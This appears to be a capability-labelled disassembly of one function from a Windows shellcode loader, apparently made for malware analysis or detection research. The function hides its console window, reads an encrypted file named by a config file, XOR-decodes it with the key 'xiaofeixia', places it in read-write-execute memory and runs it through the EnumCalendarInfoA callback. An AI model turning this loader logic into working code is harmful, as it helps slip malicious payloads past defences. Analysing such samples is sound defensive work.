Function at 0x140004d7c
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov edi, 0xfffffff0
mov rcx, rax
mov edx, edi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, edi
mov rcx, rbx
btr eax, 0x1c
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov eax, dword [0x1400257c8]
lea r13d, [rdi + 0x1f]
movsd xmm0, qword [str.xiaofeixia.ini]
lea rdx, [rbp - 0x68]
and qword [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
and qword [rsp + 0x60], 0
and qword [rsp + 0x68], 0
mov dword [rbp - 0x60], eax
movzx eax, word [0x1400257cc]
mov word [rbp - 0x5c], ax
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x58], 0xe
movsd qword [rbp - 0x68], xmm0
mov byte [rbp - 0x5a], 0
call fcn.140002b0c
cmp qword [rsp + 0x68], 0x10
lea ebx, [rdi + 0x11]
lea edi, [rbx + 0x3f]
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x50]
mov r9d, edi
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rbp + 0xd0]
mov r8d, ebx
call fcn.140001f80
mov rax, qword [rbp + 0xd0]
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov r12d, 0x1000
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xd0], rsi
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xcc], edx
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xe0], 6
je 0x140004ef6
lea rdx, str.open_config_file_error:
lea rcx, [0x1400384a0]
call fcn.140001110
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
cmovae rdx, qword [rsp + 0x50]
call fcn.140001410
mov rcx, rax
call fcn.140001a14
lea rdi, vtable.std::ios_base.0
jmp 0x14000517d
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
and qword [rsp + 0x40], 0
lea rcx, [rbp + 0xd0]
mov qword [rsp + 0x48], r13
call fcn.140001ce4
lea rcx, [rbp + 0xd0]
call fcn.1400037ac
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r9d, edi
mov dword [rsp + 0x20], ebx
cmovae rdx, qword [rsp + 0x30]
lea rcx, [rbp - 0x40]
mov r8d, 0x20
call fcn.140001f80
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], rsi
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x30], 6
je 0x140004fb7
lea rdx, str.open_encrypted_file_error:
lea rcx, [0x1400384a0]
call fcn.140001110
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
cmovae rdx, qword [rsp + 0x30]
call fcn.140001410
mov rcx, rax
call fcn.140001a14
jmp 0x140005117
xor edx, edx
lea rcx, [rbp - 0x40]
lea r8d, [rdx + 2]
call fcn.1400041f8
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.14000467c
xor r8d, r8d
lea rcx, [rbp - 0x40]
xor edx, edx
mov r14, qword [rax + 8]
add r14, qword [rax]
call fcn.1400041f8
and qword [rbp - 0x70], 0
lea r8, [rbp + 0x220]
xorps xmm0, xmm0
lea rcx, [rbp - 0x80]
mov rdx, r14
movdqu xmmword [rbp - 0x80], xmm0
call fcn.140001394
mov rsi, qword [rbp - 0x80]
lea rcx, [rbp - 0x40]
mov rdx, rsi
mov r8, r14
call fcn.1400040c8
lea rcx, [rbp - 0x40]
call fcn.1400037ac
movzx eax, word [0x140025818]
xor r8d, r8d
movsd xmm0, qword [str.xiaofeixia]
mov word [rsp + 0x78], ax
mov al, byte [0x14002581a]
mov byte [rsp + 0x7a], al
movsd qword [rsp + 0x70], xmm0
test r14, r14
je 0x14000507e
movabs rax, 0xcccccccccccccccd
mul r8
mov rax, r8
shr rdx, 3
lea rcx, [rdx + rdx*4]
add rcx, rcx
sub rax, rcx
mov al, byte [rsp + rax + 0x70]
xor byte [r8 + rsi], al
add r8, rbx
cmp r8, r14
jb 0x140005050
mov rcx, r14
call fcn.1400063fc
mov r8, qword [rbp - 0x78]
mov rdx, rsi
sub r8, rsi
mov rcx, rax
mov rdi, rax
call fcn.140008060
mov r9d, 0x40
mov r8d, r12d
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140008060
mov r9d, 0x15
or r8d, 0xffffffff
mov edx, 0x400
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov rcx, rdi
call fcn.1400063f4
xor ebx, ebx
test rsi, rsi
je 0x140005117
mov rdx, qword [rbp - 0x70]
mov rax, rsi
sub rdx, rsi
cmp rdx, r12
jb 0x14000510f
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005232
mov rcx, rsi
call fcn.1400063f4
lea rcx, [rbp + 0x70]
call fcn.1400026f4
lea rdi, vtable.std::ios_base.0
lea rcx, [rbp + 0x70]
mov qword [rbp + 0x70], rdi
call fcn.140005cdc
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000516d
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x140005168
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005232
call fcn.1400063f4
and qword [rsp + 0x40], 0
mov qword [rsp + 0x48], r13
mov byte [rsp + 0x30], 0
lea rcx, [rbp + 0x180]
call fcn.1400026f4
lea rcx, [rbp + 0x180]
mov qword [rbp + 0x180], rdi
call fcn.140005cdc
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400051d1
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x1400051cc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005232
call fcn.1400063f4
and qword [rsp + 0x60], 0
mov rdx, qword [rbp - 0x50]
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x50], 0
cmp rdx, 0x10
jb 0x140005214
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x14000520f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005232
call fcn.1400063f4
lea r11, [rsp + 0x2e0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
call fcn.14000c8f4
int3